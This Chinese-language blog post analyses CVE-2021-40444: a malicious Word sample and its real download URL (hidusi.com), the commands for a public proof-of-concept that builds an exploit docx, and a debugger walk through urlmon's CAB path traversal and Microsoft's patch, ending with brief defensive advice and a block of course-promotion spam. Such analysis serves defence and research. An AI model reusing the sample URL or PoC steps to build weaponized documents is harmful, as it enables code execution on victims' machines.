漏洞深入分析 -2021
![漏洞深入分析-2021](https://static001.geekbang.org/infoq/3c/3c0081ca125f64f980ff6e87777872ad.jpeg)
前言:
随着 cve-2021-40444 的披露,随机引爆了全球的网络安全,虽然最近微软发布了补丁,但是 cve-2021-40444 的利用却越发猖狂。
0x00 0day 样本分析
拿到样本的第一时间,便在自己的沙箱环境下面运行了下,并且从网上下载的 docx,微软默认会开启保护模式,我这里是本地打开的,基本内容如下,全都是文字内容,基本上没发现什么:
![](https://static001.geekbang.org/infoq/a5/a5993be31deab0414527b4966dfd8940.png)
但是在 rels 的 document.xml 文件中发现了链接Target=”mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html
![](https://static001.geekbang.org/infoq/8b/8b6985f5ce15bf7087b4d3b1bd57d7f5.png)
![](https://static001.geekbang.org/infoq/6e/6e008515388308fab0cd6cf4b94d3e4a.png)
【一>所有资源获取<一】1、200 多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100 份 src 源码技术文档(项目学习不停,实践得真知)4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)5、网络安全学习路线(告别不入流的学习)6、ctf 夺旗赛解析(题目解析实战操作)
可以发现其是指向文件的更新链接
![](https://static001.geekbang.org/infoq/ec/ec95406dbff77559dfe03326ccbfaaac.png)
从样本库众获取到 mountain.html 后,我们打开一看,发现全部都混淆了,基本难辨真假,去混淆也比较简单
因为是 js 代码,随便找个网上去混淆的试试,比如http://jsnice.org/
,将混淆的代码粘贴上去后,一键试下
![](https://static001.geekbang.org/infoq/f9/f9db3a7594007cec20f58e36625787b2.png)
基本代码的轮廓就有了,它所有的字符串都会采用数组 var a0_0x127f 经过function a0_0x15ec
进行拼接与置换
![](https://static001.geekbang.org/infoq/c8/c80320ce439e9d5d966efbedc055ab0a.png)
这就很简单了,我通过普通脚本再一次去混淆:
经过简单的静态分析与调试,基本上就是它会去请求服务器获取一个 cab 文件,并且会通过 cpl 指令去执行一个 inf
然后通过样本库获取到这个 cab,初步分析这个 cab,发现了其解压路径是../championship.inf
,并且标志 cafile 的大小是0x415c00,cab
文件格式[1]对应如下
![](https://static001.geekbang.org/infoq/db/dbdece825ac09fbb7e41dd305ed65d29.png)
![](https://static001.geekbang.org/infoq/3f/3f97519359c3cad42e4d392d1eb67e92.png)
最后将恶意的 url 改成我们自己搭建的 http server,之后成功复现样本攻击环境,并且捕捉到了样本通过 rundll32 执行了命令
![](https://static001.geekbang.org/infoq/74/74eed736f1064687b16016a941db68b2.png)
0x01 cve-2021-40444 漏洞的分析与利用
cve-2021-40444
的 poc 很快公开在了 github[2]上,poc 的使用很简单,通过sudo python3 exploit.py host 80
开启简单的 http server 服务器,python3 exploit.py generate test/calc.dll ip
生成包含有漏洞的 docx:
![](https://static001.geekbang.org/infoq/0c/0c6dca50f11f57e80e554e04544dc537.png)
假如我们现在有一个正常的 docx,可以通过以下添加稍加修改,就成了可以包含 cve-2021-40444 漏洞的 docx 了
![](https://static001.geekbang.org/infoq/a3/a37efb7c50cceaa0cebf5bf98bd5c7f3.png)
0x02 cve-2021-40444 的补丁对比
通过 ProcessMonitor 监控我们可以获得其创建和读取 cab 文件的行为,其调用堆栈如下:
![](https://static001.geekbang.org/infoq/ef/ef3e852bc96f984f4c6e48a4bd19c2a0.png)
9 月 14 号,微软发布了 cve-2021-40444 的补丁,经过补丁分析发现,urlmon.dll 模块的 catDirAndFile 对路径验证做了修改,将’/‘替换成了’\‘,防止路径遍历:
![](https://static001.geekbang.org/infoq/e4/e4289ebcee60bebe47c449a8e5256605.png)
![](https://static001.geekbang.org/infoq/22/223ecb136ca8e5d6e76ff8fd2931844a.png)
0x03 漏洞调试
调试之前,我们首先了解下微软对 cab 文件的 api
![](https://static001.geekbang.org/infoq/c8/c8462d30f480da57feb684f9f4d31341.png)
这些 api 包括了对 cab 文件的解析和读写操作等,urlmon 模块通过调用 cabinet 模块中的这些 api 来处理 cab 文件的
首先 docx 触发 get 请求后会通过 mshtml 模块来处理,并且对 cab 文件的处理将会进入 urlmon,之后在urlmon!GetSupportedInstallScopesFromFile
这个 api 开始处理 cab 文件:
![](https://static001.geekbang.org/infoq/c0/c06295b4a70dca80a03f02a9880e141c.png)
获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab
先通过GetExtnAndBaseFileName
去判断文件后缀名是不是 cab:
![](https://static001.geekbang.org/infoq/4b/4be2f605dd787e6aab235e9e0e84f0ff.png)
然后通过CreateUniqueCabTempDir
创建临时文件夹,比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A
,进入api ExtractInfFile
后,将会继续调用 Extract,在 Extract 将会第一次调用到FDICreate[3]和FDICopy[4]
,来获取 cab 的信息
![](https://static001.geekbang.org/infoq/94/94c48be73f23e8d411de987352c41510.png)
FDICreate 主要是对其他读写 api 等进行初始化操作:
![](https://static001.geekbang.org/infoq/7e/7e1b28054fb489b32a6355f9577af6a2.png)
而 FDICopy 主要就是提取 cab 文件的信息了
![](https://static001.geekbang.org/infoq/e9/e92514c6228dae64df29eca0530bbad7.png)
进入CABINET!FDICopy
后将会调用 LoginCabinet 来提取 cab 的 0x24 大小的 head 信息,比如包括对头部 MSCF 标志的判断:
之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate
分别对应信息 FNFDINOTIFY 的fdintCABINET_INFO、fdintENUMERATE
,再一次进入urlmon!fdiNotifyExtract
后获取 CFFILE file 的信息,而对应的标志是 0x02:
![](https://static001.geekbang.org/infoq/9e/9e3f7b0c99bab97de62d9d84d298a76c.png)
获取到初始化结构体后将会在urlmon!ExtractInfFile
调用urlmon!ExtractOneFile
:
![](https://static001.geekbang.org/infoq/cd/cdfbd1021480db64698a3a36cbfc2f9f.png)
而在urlmon!ExtractOneFile中将会给(a4+0x202)
赋值结构体 lpsz,将会确保在调用urlmon!NeedFile
成功返回:
![](https://static001.geekbang.org/infoq/60/606e1d97696a101048d7a8da1a0a13d1.png)
之后将会继续以标志fdintCOPY_FILE(0x02)
继续调用urlmon!fdiNotifyExtract
,继续调用urlmon!catDirAndFile
继续路径字符串格式化,而我们传入的 inf 路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf
![](https://static001.geekbang.org/infoq/f7/f7d5f6d74f96bfc92815a3dec384c6df.png)
最后退出urlmon!catDirAndFile
将会在urlmon!fdiNotifyExtract
中调用 Win32Open:
![](https://static001.geekbang.org/infoq/6f/6f6a2c05b14afdf3ca0858b6807b2858.png)
而在 Win32Open 中将会调用 CreateFileA,以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf
创建文件 msword.inf,因为路径存在目录遍历问题,所有将会在C:\Users\l\AppData\Local\Temp\msword.inf
创建文件:
![](https://static001.geekbang.org/infoq/04/04e731e7350140ed834077bf3e533797.png)
成功创建 msword.inf 文件后将会继续成功调用CABINET!FDIGetFile
,在CABINET!FDIGetFile
中将会以第一个 CFDATA data 大小数据写入到文件中,之后 caFile(实际为解压文件大小)将会减去写入的CFDATA data
大小,接着进行比较直到将所有的 caFile 大小写入,而这里我们的 caFile 大小是 0x415c0000,远远大于实际的 CFDATA 的总大小,所以将会在调用最后一次CABINET!FDIGetDataBlock
获取块的时候失败并退出:
![](https://static001.geekbang.org/infoq/84/840b15238c8c13ec67a1d610fe1061f2.png)
虽然退出了,但不影响实际写入文件的数据,并且因为这个失败将不会在urlmon!DeleteExtractedFiles
调用 DeleteFileA,因为 v2[2]的标志未清 0,所以不会删除临时文件,从而我们创建的 msword.inf 得以保存,并且在后续中可以直接以 cpl 命令运行C:\Users\l\AppData\Local\Temp\msword.inf
![](https://static001.geekbang.org/infoq/f6/f6885c13c08e1d62d161619632125d7b.png)
而正常的提取 cab 文件将会以标志fdintCLOSE_FILE_INFO(0x03)
进入,调用urlmon!MarkExtracted
,将标志清 0:
![](https://static001.geekbang.org/infoq/60/6084d11a019745610bf93c5b2e424404.png)
至此,从获取到 cab 文件到提取解析,并且触发目录遍历漏洞过程分析完毕。
有大佬公布以最简洁的方式触发了[5]这个漏洞,并且可以在 ie 中复现成功。
0x04 漏洞防范
对网上来路不明的 docx,请不要随意点击,更新最新的微软补丁
评论